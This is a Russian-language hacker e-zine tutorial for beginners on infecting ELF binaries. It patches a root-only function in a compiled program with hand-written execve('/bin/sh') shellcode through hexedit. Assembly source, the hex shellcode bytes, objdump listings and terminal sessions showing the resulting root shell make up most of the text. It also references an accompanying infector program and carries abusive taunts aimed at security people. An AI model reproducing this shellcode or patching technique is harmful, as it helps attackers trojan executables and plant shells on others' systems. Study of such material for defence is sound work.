" [email protected]# echo XFree86 fuckz hard "
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==
Infectin binariez 4 beginners
~~=====================================~~
Статья не сложная для понимания и думаю многим новичкам будет полезна. Короче
переходим к делу. Вот эту прогу мы будем инфецировать:
root@darkstar# cat fuck.c
#include <stdio.h>
void suck();
int main()
{
if ( getuid() == 0 ){ suck(); }
exit(1);
}
void suck()
{
write(1,"xaxa\n",5);
}
root@darkstar# gcc -o fuck fuck.c
root@darkstar# ./fuck
xaxa
root@darkstar#
Нас интересует функция suck(). Допустим, нам нужно чтобы она вызывала шелл.
root@darkstar# objdump -h fuck
fuck: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 0000003c 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 000000a0 08048164 08048164 00000164 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 000000a0 08048204 08048204 00000204 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 00000014 080482a4 080482a4 000002a4 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000030 080482b8 080482b8 000002b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.got 00000008 080482e8 080482e8 000002e8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000038 080482f0 080482f0 000002f0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000018 08048328 08048328 00000328 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000080 08048340 08048340 00000340 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 0000017c 080483c0 080483c0 000003c0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001e 0804853c 0804853c 0000053c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 0000000e 0804855c 0804855c 0000055c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .data 00000010 0804956c 0804956c 0000056c 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 0804957c 0804957c 0000057c 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 00000008 08049580 08049580 00000580 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 00000008 08049588 08049588 00000588 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .got 0000002c 08049590 08049590 00000590 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .dynamic 000000a0 080495bc 080495bc 000005bc 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .sbss 00000000 0804965c 0804965c 0000065c 2**0
CONTENTS
21 .bss 00000018 0804965c 0804965c 0000065c 2**2
ALLOC
22 .stab 000007a4 00000000 00000000 0000065c 2**2
CONTENTS, READONLY, DEBUGGING
23 .stabstr 00001978 00000000 00000000 00000e00 2**0
CONTENTS, READONLY, DEBUGGING
24 .comment 00000141 00000000 00000000 00002778 2**0
CONTENTS, READONLY
25 .note 00000078 00000000 00000000 000028b9 2**0
CONTENTS, READONLY
gcc добавляет кучу секций, многие из которых можно и вырезать,но весь нужный нам
код лежит в секции .text. Посмотрим как он выглядит:
root@darkstar# objdump -d fuck
fuck: file format elf32-i386
Disassembly of section .init:
08048328 <_init>:
8048328: 55 push %ebp
8048329: 89 e5 mov %esp,%ebp
804832b: 83 ec 08 sub $0x8,%esp
804832e: e8 b1 00 00 00 call 80483e4 <call_gmon_start>
8048333: 90 nop
8048334: e8 47 01 00 00 call 8048480 <frame_dummy>
8048339: e8 c2 01 00 00 call 8048500 <__do_global_ctors_aux>
804833e: c9 leave
804833f: c3 ret
Disassembly of section .text:
080483c0 <_start>:
80483c0: 31 ed xor %ebp,%ebp
80483c2: 5e pop %esi
80483c3: 89 e1 mov %esp,%ecx
80483c5: 83 e4 f0 and $0xfffffff0,%esp
80483c8: 50 push %eax
80483c9: 54 push %esp
80483ca: 52 push %edx
80483cb: 68 3c 85 04 08 push $0x804853c
80483d0: 68 28 83 04 08 push $0x8048328
80483d5: 51 push %ecx
80483d6: 56 push %esi
80483d7: 68 c0 84 04 08 push $0x80484c0
80483dc: e8 9f ff ff ff call 8048380 <_init+0x58>
80483e1: f4 hlt
80483e2: 90 nop
80483e3: 90 nop
<...skipped...>
/* Вот отсюда начинается наш код... */
080484c0 <main>:
80484c0: 55 push %ebp
80484c1: 89 e5 mov %esp,%ebp
80484c3: 83 ec 08 sub $0x8,%esp
80484c6: e8 c5 fe ff ff call 8048390 <_init+0x68>
80484cb: 89 c0 mov %eax,%eax
80484cd: 85 c0 test %eax,%eax
80484cf: 75 05 jne 80484d6 <main+0x16>
80484d1: e8 0a 00 00 00 call 80484e0 <suck> /* А вот и вызов нашей функции suck() */
80484d6: 83 ec 0c sub $0xc,%esp
80484d9: 6a 01 push $0x1
80484db: e8 d0 fe ff ff call 80483b0 <_init+0x88>
/* Далее идёт код самой функции suck(): */
080484e0 <suck>:
80484e0: 55 push %ebp
80484e1: 89 e5 mov %esp,%ebp
80484e3: 83 ec 08 sub $0x8,%esp
80484e6: 83 ec 04 sub $0x4,%esp
80484e9: 6a 05 push $0x5
80484eb: 68 64 85 04 08 push $0x8048564
80484f0: 6a 01 push $0x1
80484f2: e8 69 fe ff ff call 8048360 <_init+0x38>
80484f7: 83 c4 10 add $0x10,%esp
80484fa: 89 ec mov %ebp,%esp
80484fc: 5d pop %ebp
80484fd: c3 ret
80484fe: 90 nop
80484ff: 90 nop
/* размер кода - всего 32 байта, ну 30 байт без nop'ов */
<...skipped...>
Disassembly of section .fini:
0804853c <_fini>:
804853c: 55 push %ebp
804853d: 89 e5 mov %esp,%ebp
804853f: 53 push %ebx
8048540: 52 push %edx
8048541: e8 00 00 00 00 call 8048546 <gcc2_compiled.+0xa>
8048546: 5b pop %ebx
8048547: 81 c3 4a 10 00 00 add $0x104a,%ebx
804854d: 8d 76 00 lea 0x0(%esi),%esi
8048550: e8 bb fe ff ff call 8048410 <__do_global_dtors_aux>
8048555: 8b 5d fc mov 0xfffffffc(%ebp),%ebx
8048558: c9 leave
8048559: c3 ret
Теперь нам нужен код, размером менее 32 байт, вызывающий /bin/sh:
root@darkstar# cat egg_code.s
.globl _start
_start:
xor %eax,%eax
xor %edx,%edx
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
push %eax
pushl %ebx
movl %esp,%ecx
mov $11,%al
int $0x80
xor %eax,%eax
incl %eax
int $0x80
root@darkstar# as -o egg.o egg_code.s; ld -o egg egg.o
root@darkstar# ./egg
sh-2.04# exit
exit
root@darkstar# al -al egg_code.s > hex
<...правим hex...>
root@darkstar# cat hex
\x31\xC0
\x31\xD2
\x50
\x68\x6E\x2F\x73\x68
\x68\x2F\x2F\x62\x69
\x89\xE3
\x50\x53
\x89\xE1
\xB0\x0B
\xCD\x80
\x31\xC0
\x40
\xCD\x80
root@darkstar# echo itz 30 bytes
itz 30 bytes
Это как раз то что нужно. Даже не пришлось занимать 2 nop'a ;)
root@darkstar# hexedit fuck
<...editin fuck...>
Ищем нужный фрагмент например по \xec\x5d\xc3\x90\x90(это концовка функции suck)
или по смещению 0x4e0 и правим код, стоящий до него. Вот что получается:
root@darkstar# objdump -d fuck
<...skipped...>
080484e0 <suck>:
80484e0: 31 c0 xor %eax,%eax
80484e2: 31 d2 xor %edx,%edx
80484e4: 50 push %eax
80484e5: 68 6e 2f 73 68 push $0x68732f6e
80484ea: 68 2f 2f 62 69 push $0x69622f2f
80484ef: 89 e3 mov %esp,%ebx
80484f1: 50 push %eax
80484f2: 53 push %ebx
80484f3: 89 e1 mov %esp,%ecx
80484f5: b0 0b mov $0xb,%al
80484f7: cd 80 int $0x80
80484f9: 31 c0 xor %eax,%eax
80484fb: 40 inc %eax
80484fc: cd 80 int $0x80
80484fe: 90 nop
80484ff: 90 nop
<...skipped...>
root@darkstar# ./fuck
sh-2.04# exit
exit
root@darkstar#
Весь наш код лежит в .text. Внутри может быть только одна функция _start ( если
мы пишем прогу на асме и не раскидываем код по функциям ), или несколько ( в сях
к примеру ). Тоесть вот типовая структура сишной проги:
section .init - инициализация проги
section .text
function <_start> - вызываем функцию main()
function <main> - тут уже наш код
function <suck> - тоже наш код, вызывается из main()
... - gcc добавляет ещё некоторые функции, но это не так важно
section .fini - завершение проги
section .data - тут хранятся начальные значения переменных.
Остальные секции, которые добавляет gcc рассматривать не стоит, т.к. это и не
нужно. На этом всё, hlt.
З.Ы. fuck_down_s0me_whitehatz_on_#m00sex/#!void/#ukr
З.З.Ы. Советую почитать доку elf_and_lkm в x25zine#3
З.З.З.Ы. В include лежит infector.s - пример проги, заражающей fuck